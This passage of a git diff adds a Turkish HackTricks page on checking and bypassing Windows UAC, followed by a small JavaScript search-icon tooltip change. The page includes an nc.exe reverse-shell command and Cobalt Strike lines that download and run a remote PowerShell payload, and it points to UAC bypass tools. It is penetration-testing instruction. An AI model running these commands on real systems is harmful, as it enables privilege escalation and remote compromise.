görebilirsiniz. - -### UAC'yi Kontrol Et - -UAC'nin etkin olup olmadığını doğrulamak için: -``` -REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA - -HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -EnableLUA REG_DWORD 0x1 -``` -Eğer **`1`** ise UAC **aktif**, eğer **`0`** ise veya **mevcut değilse**, UAC **pasif**. - -Sonra, **hangi seviye** yapılandırıldığını kontrol edin: -``` -REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin - -HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -ConsentPromptBehaviorAdmin REG_DWORD 0x5 -``` -- -``` -net user %username% -whoami /groups | findstr Level -``` -## UAC atlatma - -> [!NOTE] -> Kurbanın grafik erişimi varsa, UAC atlatma basittir çünkü UAS istemi göründüğünde "Evet"e tıklayabilirsiniz. - -UAC atlatma, aşağıdaki durumda gereklidir: **UAC etkin, işleminiz orta bütünlük bağlamında çalışıyor ve kullanıcınız yöneticiler grubuna ait.** - -UAC'nın **en yüksek güvenlik seviyesinde (Her Zaman) atlatmanın, diğer seviyelerden (Varsayılan) çok daha zor olduğunu** belirtmek önemlidir. - -### UAC devre dışı - -Eğer UAC zaten devre dışıysa (`ConsentPromptBehaviorAdmin` **`0`**) **yönetici ayrıcalıklarıyla bir ters kabuk çalıştırabilirsiniz** (yüksek bütünlük seviyesi) gibi bir şey kullanarak: -```bash -#Put your reverse shell instead of "calc.exe" -Start-Process powershell -Verb runAs "calc.exe" -Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444" -``` -#### UAC atlatma ile token kopyalama - -- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) -- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) - -### **Çok** Temel UAC "atlatma" (tam dosya sistemi erişimi) - -Eğer Administrators grubunda bir kullanıcı ile bir shell'e sahipseniz, **C$** paylaşımını SMB (dosya sistemi) üzerinden yeni bir diske yerel olarak **monte edebilir ve dosya sisteminin içindeki her şeye erişim sağlayabilirsiniz** (hatta Administrator ana klasörüne). - -> [!WARNING] -> **Bu numaranın artık çalışmadığı görünüyor** -```bash -net use Z: \\127.0.0.1\c$ -cd C$ - -#Or you could just access it: -dir \\127.0.0.1\c$\Users\Administrator\Desktop -``` -### UAC atlatma ile cobalt strike - -Cobalt Strike teknikleri, UAC maksimum güvenlik seviyesinde ayarlanmamışsa yalnızca çalışacaktır. -```bash -# UAC bypass via token duplication -elevate uac-token-duplication [listener_name] -# UAC bypass via service -elevate svc-exe [listener_name] - -# Bypass UAC with Token Duplication -runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" -# Bypass UAC with CMSTPLUA COM interface -runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" -``` -**Empire** ve **Metasploit** ayrıca **UAC**'yi **bypass** etmek için birkaç modül sunmaktadır. - -### KRBUACBypass - -Dokümantasyon ve araç [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) adresinde bulunmaktadır. - -### UAC bypass exploitleri - -[**UACME**](https://github.com/hfiref0x/UACME), birkaç UAC bypass exploitinin **derlemesi**dir. **UACME'yi visual studio veya msbuild kullanarak derlemeniz gerektiğini** unutmayın. Derleme, birkaç çalıştırılabilir dosya (örneğin `Source\Akagi\outout\x64\Debug\Akagi.exe`) oluşturacaktır, **hangi dosyaya ihtiyacınız olduğunu bilmeniz gerekecek.**\ -**Dikkatli olmalısınız** çünkü bazı bypasslar, **kullanıcıya** bir şeylerin olduğunu **bildiren** bazı diğer programları **uyarabilir**. - -UACME, her tekniğin çalışmaya başladığı **derleme sürümünü** içerir. Sürümlerinizi etkileyen bir tekniği arayabilirsiniz: -``` -PS C:\> [environment]::OSVersion.Version - -Major Minor Build Revision ------ ----- ----- -------- -10 0 14393 0 -``` -Ayrıca, [bu](https://en.wikipedia.org/wiki/Windows_10_version_history) sayfayı kullanarak Windows sürüm `1607`'yi derleme sürümlerinden alabilirsiniz. - -#### Daha Fazla UAC Bypass - -**Burada AUC'yi atlamak için kullanılan tüm teknikler, kurbanla **tam etkileşimli bir shell** gerektirir (yaygın bir nc.exe shell yeterli değildir).** - -Bir **meterpreter** oturumu kullanarak elde edebilirsiniz. **Session** değeri **1** olan bir **işleme** geçin: - -![](<../../images/image (96).png>) - -(_explorer.exe_ çalışmalıdır) - -### GUI ile UAC Bypass - -Eğer bir **GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz**, gerçekten bir bypass'a ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlamanızı sağlar. - -Ayrıca, birinin (potansiyel olarak RDP aracılığıyla) kullandığı bir GUI oturumu alırsanız, **yönetici olarak çalışan bazı araçlar** olacaktır; buradan örneğin **admin** olarak doğrudan bir **cmd** çalıştırabilirsiniz, UAC tarafından tekrar istemde bulunulmadan [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Bu biraz daha **gizli** olabilir. - -### Gürültülü brute-force UAC bypass - -Eğer gürültü yapmaktan endişe etmiyorsanız, her zaman **şunu çalıştırabilirsiniz**: [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) bu **kullanıcı kabul edene kadar izinleri yükseltmek için istek yapar**. - -### Kendi bypass'ınız - Temel UAC bypass metodolojisi - -**UACME**'ye bir göz atarsanız, **çoğu UAC bypass'ının bir Dll Hijacking zafiyetini kötüye kullandığını** fark edeceksiniz (esas olarak kötü amaçlı dll'yi _C:\Windows\System32_ içine yazarak). [Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun](../windows-local-privilege-escalation/dll-hijacking.md). - -1. **Autoelevate** olacak bir ikili dosya bulun (çalıştırıldığında yüksek bütünlük seviyesinde çalıştığını kontrol edin). -2. Procmon ile **DLL Hijacking**'e karşı savunmasız olabilecek "**NAME NOT FOUND**" olaylarını bulun. -3. Muhtemelen bazı **korumalı yollar** (C:\Windows\System32 gibi) içinde DLL'yi **yazmanız** gerekecek; yazma izinlerinizin olmadığı yerler. Bunu aşmak için: - 1. **wusa.exe**: Windows 7, 8 ve 8.1. Korumalı yollara bir CAB dosyasının içeriğini çıkarmaya izin verir (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır). - 2. **IFileOperation**: Windows 10. -4. Korumalı yola DLL'nizi kopyalamak ve savunmasız ve autoelevated ikili dosyayı çalıştırmak için bir **script** hazırlayın. - -### Başka bir UAC bypass tekniği - -Bir **autoElevated ikili dosyanın** **kayıttan** **okumaya** çalışıp çalışmadığını izlemeyi içerir; **çalıştırılacak** bir **ikili dosyanın** veya **komutun** **adı/yolu** (bu, ikili dosya bu bilgiyi **HKCU** içinde arıyorsa daha ilginçtir). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index 2ec1f5ec0..f47ba384a 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -101,6 +101,7 @@ const READY_ICON = icon.innerHTML; icon.textContent = '⏳'; icon.setAttribute('aria-label','Loading search …'); + icon.setAttribute('title','Search is loading, please wait...'); const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13; let debounce, teaserCount=0; @@ -158,8 +159,16 @@ /* ───────────── worker messages ───────────── */ worker.onmessage = ({data}) => { if(data && data.ready!==undefined){ - if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); } - else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); } + if(data.ready){ + icon.innerHTML=READY_ICON; + icon.setAttribute('aria-label','Open search (S)'); + icon.removeAttribute('title'); + } + else { + icon.textContent='❌'; + icon.setAttribute('aria-label','Search unavailable'); + icon.setAttribute('title','Search is unavailable'); + } return; } const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean);